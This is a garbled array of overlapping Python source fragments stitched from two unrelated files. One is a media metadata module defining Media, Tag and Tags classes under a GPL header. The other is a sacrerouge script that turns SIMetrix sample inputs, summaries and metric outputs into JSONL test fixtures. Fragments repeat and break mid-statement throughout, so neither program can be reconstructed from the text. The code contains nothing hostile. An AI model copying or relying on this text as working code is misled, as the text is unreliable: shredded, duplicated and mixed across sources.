"Tag values are strings (for binary data), unicode objects, or datetime objects for", "'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) #", "in UNPRINTABLE_KEYS: continue value = getattr(self, key) if value is None: continue if", "that represent dates or times. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__()", "self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) # # internal functions # def _appendtable(self,", "the value of 'key' to 'value' \"\"\" setattr(self, key, value) def has_key(self, key):", "or less a dictionary but it also contains a value. This is necessary", "space but also point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ]", "= getattr(self, k, None) if isinstance(value, list) and value and isinstance(value[0], Media): value", "= [] for key in self._keys: value = getattr(self, key, None) if value", "class Tags(dict, Tag): \"\"\" A dictionary containing Tag objects. Values can be other", "AUTHORS for a complete list of authors. # # This program is free", "attribute RATING has a value (PG), but it also has a child tag", "media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV", "lower-cased. self.tags = Tags() for key in self._keys: if key not in ('media',", "return '<Tag object: %s>' % repr(self.value) else: return '<Binary Tag object: size=%d>' %", "<Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING has a value", "True if value: _features[var][1] = value def features(): \"\"\" List all optional features", "the GNU General # Public License for more details. # # You should", "_features[var][1] = value def features(): \"\"\" List all optional features \"\"\" return list(_features.keys())", "Tag objects. Values can be other Tags objects (for nested tags), lists, or", "Public License along # with this program; if not, write to the Free", "at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be lower-cased. self.tags = Tags() for", "FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for", "General Public License as published by # the Free Software Foundation; either version", "self.get(attr): continue value = table.get(tag, None) if value is not None: if not", "value is not None: if not isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value,", "tag names will be lower-cased. self.tags = Tags() for key in self._keys: if", "return self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language = language.resolve(code) class Tags(dict, Tag):", "'| %10s: %s\\n' % (str(key), str(value)) # print tags (recursively, to support nested", "langcode='und', binary=False): super(Tags, self).__init__() self.value = value self.langcode = langcode self.binary = False", "Check if the object has an attribute 'key' \"\"\" return hasattr(self, key) def", "list(mapping.items()): if self.get(attr): continue value = table.get(tag, None) if value is not None:", "Tag): \"\"\" A dictionary containing Tag objects. Values can be other Tags objects", "style of 'series 1x01 episode' and 'series s1e01 episode' where the # delimiter", "len(self.value) @property def langcode(self): return self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language =", "tag) else: result += '%s\\n' % (tag.value or '') if isinstance(tag, dict): result", "attr, default = None): \"\"\" Returns the given attribute. If the attribute is", "#%d\\n' % (label, n+1) result += '| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item))", "source \"\"\" self.url = url def _finalize(self): \"\"\" Correct same data based on", "if value is None and getattr(self, key, None) is None: return if isinstance(value,", "None: continue if key == 'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue", "published by # the Free Software Foundation; either version 2 of the License,", "'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime',", "Track' result += '%s #%d\\n' % (label, n+1) result += '| ' +", "return if isinstance(value, str): value = utils.tostr(value) setattr(self, key, value) if not key", "\"\"\" return _features[feature][1] class Media(object): media = None \"\"\" Media is the base", "the configuration of the given feature \"\"\" return _features[feature][1] class Media(object): media =", "missing. \"\"\" if value is None and getattr(self, key, None) is None: return", "dicts (for nested tags), or lists of either # (for multiple instances of", "a file is a recording of a TV series. It matches names in", "contain additional keys to the dublin core set that is defined in Media.", "are added to the existing one. \"\"\" if name not in self.tables: self.tables[name]", "result def keys(self): \"\"\" Return all keys for the attributes set by the", "and/or modify # it under the terms of the GNU General Public License", "a value. These values are set to reasonable default values but can be", "a TV series. It matches names in the # style of 'series 1x01", "if name not in self.tables: self.tables[name] = hashmap else: # Append to the", "resolve it to its actual # name and set the fourcc attribute. self.fourcc,", "result result += print_tags(self.tags, '', True) # print lists for key, l in", "def feature_config(feature): \"\"\" Returns the configuration of the given feature \"\"\" return _features[feature][1]", "= {} # Tags, unlike tables, are more well-defined dicts whose values are", "+= '%s #%d\\n' % (label, n+1) result += '| ' + re.sub(r'\\n(.)', r'\\n|", "in the dict \"\"\" return hasattr(self, key) def get(self, attr, default = None):", "getattr(self, attr, default) def __getitem__(self, attr): \"\"\" Get the value of the given", "if n == 0 and show_label else '', suffix, name) if isinstance(tag, list):", "if missing. \"\"\" if value is None and getattr(self, key, None) is None:", "copy of the GNU General Public License along # with this program; if", "__repr__(self): if not self.binary: return '<Tag object: %s>' % repr(self.value) else: return '<Binary", "= Tags() for key in self._keys: if key not in ('media', 'tags'): setattr(self,", "(recursively, to support nested tags). def print_tags(tags, suffix, show_label): result = '' for", "def __repr__(self): if hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return", "key in self._keys: if key in UNPRINTABLE_KEYS: continue value = getattr(self, key) if", "setattr(self, key, None) # # unicode and string convertion for debugging # def", "# This program is distributed in the hope that it will be useful,", "% repr(self.value) else: return '<Binary Tag object: size=%d>' % len(self.value) @property def langcode(self):", "<<EMAIL>> # # Please see the file AUTHORS for a complete list of", "will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty", "size=%d>' % len(self.value) @property def langcode(self): return self._langcode @langcode.setter def langcode(self, code): self._langcode,", "= [ Media(x) for x in value ] self._set(key, value) return self._keys =", "contain a common set of metadata attributes that is listed in keys. Specific", "value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value = value self.langcode = langcode self.binary =", "conform to the Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag", "# create Media based on dict for key, value in list(hash.items()): if isinstance(value,", "_features = { # Guess if a file is a recording of a", "for n, item in enumerate(l): label = '+-- ' + key.rstrip('s').capitalize() if key", "'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY'", "not in ('media', 'tags'): setattr(self, key, None) # # unicode and string convertion", "<Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING has a value (PG), but it", "the _feature variable. Some feature have a value. These values are set to", "is None: continue if key == 'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value))", "names in the # style of 'series 1x01 episode' and 'series s1e01 episode'", "of the tag, e.g. actor). Where possible, # parsers should transform tag names", "table for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key, value): \"\"\"", "def keys(self): \"\"\" Return all keys for the attributes set by the parser.", "Place, Suite 330, Boston, MA 02111-1307 USA # # ----------------------------------------------------------------------------- # python imports", "base class to all Media Metadata Containers. It defines the basic structures that", "self.value = value self.langcode = langcode self.binary = binary def __unicode__(self): return str(self.value)", "# (for multiple instances of the tag, e.g. actor). Where possible, # parsers", "modify # it under the terms of the GNU General Public License as", "continue if isinstance(value, list): if not value: continue elif isinstance(value[0], str): # Just", "A dictionary containing Tag objects. Values can be other Tags objects (for nested", "% len(self.value) @property def langcode(self): return self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language", "and 'series s1e01 episode' where the # delimiter may not be a space", "be overwritten by setting the optional parameter value. \"\"\" _features[var][0] = True if", "value = utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '')", "dictionary containing Tag objects. Values can be other Tags objects (for nested tags),", "1x01 episode' and 'series s1e01 episode' where the # delimiter may not be", "but also point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] }", "self.language = language.resolve(self.language) # # data access # def __contains__(self, key): \"\"\" Test", "Free Software Foundation; either version 2 of the License, or # (at your", "in value ] self._set(key, value) return self._keys = self._keys[:] self.tables = {} #", "\"\"\" if value is None and getattr(self, key, None) is None: return if", "or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License", "%10s: %s\\n' % (str(key), str(value)) # print tags (recursively, to support nested tags).", "feature_enabled(feature): \"\"\" Returns if a feature was activated \"\"\" return _features[feature][0] def feature_config(feature):", "for key in self._keys: if key not in ('media', 'tags'): setattr(self, key, None)", "@langcode.setter def langcode(self, code): self._langcode, self.language = language.resolve(code) class Tags(dict, Tag): \"\"\" A", "the given feature \"\"\" return _features[feature][1] class Media(object): media = None \"\"\" Media", "object has an attribute 'key' \"\"\" return hasattr(self, key) def convert(self): \"\"\" Convert", "key, value): \"\"\" Set key to value and add the key to the", "minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None): \"\"\"", "def __contains__(self, key): \"\"\" Test if key exists in the dict \"\"\" return", "to the existing one. \"\"\" if name not in self.tables: self.tables[name] = hashmap", "List all optional features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a", "'')) if isinstance(value, list) and value and isinstance(value[0], Media): for submenu in value:", "return self._keys class Collection(Media): \"\"\" Collection of Digial Media like CD, DVD, Directory,", "value = ', '.join(value) else: lists.append((key, value)) continue elif isinstance(value, dict): # Tables", "str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value,", "code): self._langcode, self.language = language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary containing Tag", "the tag, e.g. actor). Where possible, # parsers should transform tag names to", "Values can be other Tags objects (for nested tags), lists, or Tag objects.", "tags (recursively, to support nested tags). def print_tags(tags, suffix, show_label): result = ''", "is distributed in the hope that it will be useful, but # WITHOUT", "your option) any later version. # # This program is distributed in the", "# python imports import re import logging from . import fourcc from .", "[ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None): \"\"\" Enable optional", "'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title',", "it to its actual # name and set the fourcc attribute. self.fourcc, self.codec", "str(self.value) def __str__(self): return str(self.value) def __repr__(self): if not self.binary: return '<Tag object:", "dictionary but it also contains a value. This is necessary in order to", "= None): \"\"\" Returns the given attribute. If the attribute is not set", "_set_url(self, url): \"\"\" Set the URL of the source \"\"\" self.url = url", "# Just a list of strings (keywords?), so don't treat it specially. value", "rules \"\"\" # make sure all strings are unicode for key in self._keys:", "+= '| | %s: %s\\n' % (str(key), value) return result def __repr__(self): if", "unicode and string convertion for debugging # def __str__(self): result = '' #", "show_label else '', suffix, name) if isinstance(tag, list): # TODO: doesn't support lists/dicts", "the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA", "'directory' EXTENSION_STREAM = 'stream' # get logging object log = logging.getLogger('metadata') class ParseError(Exception):", "setattr(self, key, value) if not key in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\"", "\"\"\" Returns if a feature was activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\"", "not self.binary: return '<Tag object: %s>' % repr(self.value) else: return '<Binary Tag object:", "= fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language = language.resolve(self.language) # # data", "You should have received a copy of the GNU General Public License along", "----------------------------------------------------------------------------- # python imports import re import logging from . import fourcc from", "'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash']", "objects. A Tags object is more or less a dictionary but it also", "(for nested tags), or lists of either # (for multiple instances of the", "59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # ----------------------------------------------------------------------------- #", "an attribute 'key' \"\"\" return hasattr(self, key) def convert(self): \"\"\" Convert Media to", "= { # Guess if a file is a recording of a TV", "self._keys.append(key) def _set_url(self, url): \"\"\" Set the URL of the source \"\"\" self.url", "kind of tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String>", "if key not in ('tracks', 'subtitles', 'chapters'): label += ' Track' result +=", "= Media._keys + [ 'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks = []", "'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist',", "MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption',", "print lists for key, l in lists: for n, item in enumerate(l): label", "not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite", "for key, value in list(table.items()): try: value = str(value) if len(value) > 50:", "rating belongs to. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value =", "\"\"\" Convert Media to dict. \"\"\" result = {} for k in self._keys:", "\"\"\" if name not in self.tables: self.tables[name] = hashmap else: # Append to", "continue if key == 'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if", "CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public", "+ re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables if log.level >= 10: for", "' % ('tags: ' if n == 0 and show_label else '', suffix,", "value return result def keys(self): \"\"\" Return all keys for the attributes set", "features defined in the _feature variable. Some feature have a value. These values", "iso-8859-1 -*- # ----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$ # # -----------------------------------------------------------------------------", "in enumerate(tags.items()): result += '| %12s%s%s = ' % ('tags: ' if n", "__setitem__(self, key, value): \"\"\" Set the value of 'key' to 'value' \"\"\" setattr(self,", "country code the rating belongs to. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags,", "the Object. If such a table already exists, the given tables items are", "program is free software; you can redistribute it and/or modify # it under", "Test if key exists in the dict \"\"\" return hasattr(self, key) def get(self,", "= '' for n, (name, tag) in enumerate(tags.items()): result += '| %12s%s%s =", "</Simple> </Simple> The attribute RATING has a value (PG), but it also has", "definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV'", "list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key, value): \"\"\" Set key to value", "data, size=%d>' % len(value) except AttributeError: value = '<unprintable data>' result += '|", "self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language = language.resolve(self.language) #", "value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value and isinstance(value[0], Media): for submenu in", "isinstance(value, list) and value and isinstance(value[0], Media): for submenu in value: submenu._finalize() #", "dict for key, value in list(hash.items()): if isinstance(value, list) and value and isinstance(value[0],", "of either # (for multiple instances of the tag, e.g. actor). Where possible,", "_finalize(self): \"\"\" Correct same data based on specific rules \"\"\" # make sure", "Foundation; either version 2 of the License, or # (at your option) any", "have a value. These values are set to reasonable default values but can", "super(Tag, self).__init__() self.value = value self.langcode = langcode self.binary = binary def __unicode__(self):", "to reasonable default values but can be overwritten by setting the optional parameter", "result += '%s #%d\\n' % (label, n+1) result += '| ' + re.sub(r'\\n(.)',", "logging.getLogger('metadata') class ParseError(Exception): pass _features = { # Guess if a file is" ]
[ "def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out: for instance_id in ['input1', 'input2',", "summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path:", "save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl')", "[] lines = open(file_path, 'r').read().splitlines() for i, line in enumerate(lines): columns = line.split()", "instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] = {} for summarizer_id in ['fb', 'me',", "load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro')", "= summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary }) def", "= [] lines = open(file_path, 'r').read().splitlines() for i, line in enumerate(lines): columns =", "= open(file_path, 'r').read().splitlines() for i, line in enumerate(lines): columns = line.split() if i", "load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level,", "{} } for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics)", "load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp = argparse.ArgumentParser() argp.add_argument('sample_eval_dir')", "'input2', 'input3']: documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines()", "for line in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str):", "glob sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir: str): documents =", "= columns else: metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} }", "package and saves it for unit testing. \"\"\" import argparse import sys from", "{ 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} } for j, metric_name in enumerate(header[2:]):", "open(file_path, 'r').read().splitlines() sentences = [] for line in lines: if line: sentences.append(line) documents[instance_id].append(sentences)", "output from the SIMetrix package and saves it for unit testing. \"\"\" import", "'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents':", "in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path):", "from the SIMetrix package and saves it for unit testing. \"\"\" import argparse", "for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return", "enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list", "'input3']: documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences", "i == 0: header = columns else: metrics = { 'summarizer_id': columns[0], 'metrics':", "summaries = {} for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] = {} for", "summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary })", "header = columns else: metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {}", "line in enumerate(lines): columns = line.split() if i == 0: header = columns", "if __name__ == '__main__': argp = argparse.ArgumentParser() argp.add_argument('sample_eval_dir') argp.add_argument('output_dir') args = argp.parse_args() main(args)", "} for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return", "str): summaries = {} for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] = {}", "'input3']: for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: docs = documents[instance_id] summary", "docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list = [] lines = open(file_path,", "in metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries,", "save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp = argparse.ArgumentParser() argp.add_argument('sample_eval_dir') argp.add_argument('output_dir')", "instance_id in ['input1', 'input2', 'input3']: for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']:", "if i == 0: header = columns else: metrics = { 'instance_id': columns[0],", "= {} for instance_id in ['input1', 'input2', 'input3']: documents[instance_id] = [] for file_path", "for unit testing. \"\"\" import argparse import sys from glob import glob sys.path.append('.')", "'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path): with", "0: header = columns else: metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics':", "line.split() if i == 0: header = columns else: metrics = { 'instance_id':", "0: header = columns else: metrics = { 'summarizer_id': columns[0], 'metrics': {} }", "metrics = { 'summarizer_id': columns[0], 'metrics': {} } for j, metric_name in enumerate(header[1:]):", "if i == 0: header = columns else: metrics = { 'summarizer_id': columns[0],", "metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path)", "testing. \"\"\" import argparse import sys from glob import glob sys.path.append('.') from sacrerouge.io", "[] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences = [] for", "metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for metrics in", "}) def load_expected_summary_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i,", "def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for metrics in metrics_list: out.write(metrics) def", "'input2', 'input3']: for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: docs = documents[instance_id]", "in ['input1', 'input2', 'input3']: summaries[instance_id] = {} for summarizer_id in ['fb', 'me', 'nb',", "columns[0], 'summarizer_id': columns[1], 'metrics': {} } for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] =", "summaries[instance_id] = {} for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] =", "the sample data and output from the SIMetrix package and saves it for", "= [] for line in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents def", "as out: for instance_id in ['input1', 'input2', 'input3']: for summarizer_id in ['fb', 'me',", "out: for instance_id in ['input1', 'input2', 'input3']: for summarizer_id in ['fb', 'me', 'nb',", "j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def", "it for unit testing. \"\"\" import argparse import sys from glob import glob", "documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences =", "open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out: for", "['input1', 'input2', 'input3']: for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: docs =", "['input1', 'input2', 'input3']: documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path,", "instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list =", "summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if", "with JsonlWriter(file_path) as out: for metrics in metrics_list: out.write(metrics) def main(args): documents =", "argparse import sys from glob import glob sys.path.append('.') from sacrerouge.io import JsonlWriter #", "return metrics_list def load_expected_system_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for", "load_expected_summary_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i, line in", "in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str):", "for instance_id in ['input1', 'input2', 'input3']: documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'):", "'input3']: summaries[instance_id] = {} for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id]", "JsonlWriter(file_path) as out: for instance_id in ['input1', 'input2', 'input3']: for summarizer_id in ['fb',", "summaries, file_path): with JsonlWriter(file_path) as out: for instance_id in ['input1', 'input2', 'input3']: for", "summary }) def load_expected_summary_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for", "in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences = [] for line in lines:", "summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out: for instance_id in ['input1',", "'summarizer_id': columns[0], 'metrics': {} } for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j", "load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp", "['fb', 'me', 'nb', 'rb', 'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id':", "sys from glob import glob sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa def", "out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level", "return summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out: for instance_id in", "def load_expected_summary_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i, line", "sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir: str): documents = {}", "load_expected_system_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i, line in", "= float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as", "float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list = [] lines", "== 0: header = columns else: metrics = { 'summarizer_id': columns[0], 'metrics': {}", "JsonlWriter(file_path) as out: for metrics in metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs')", "'input2', 'input3']: summaries[instance_id] = {} for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']:", "in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def", "from glob import glob sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir:", "for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences = [] for line", "out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str):", "= open(file_path, 'r').read().splitlines() sentences = [] for line in lines: if line: sentences.append(line)", "enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with", "= {} for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] = {} for summarizer_id", "sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries = {} for instance_id in", "for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return metrics_list", "for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: docs = documents[instance_id] summary =", "\"\"\" This script parses the sample data and output from the SIMetrix package", "in enumerate(lines): columns = line.split() if i == 0: header = columns else:", "= float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list = []", "enumerate(lines): columns = line.split() if i == 0: header = columns else: metrics", "str): 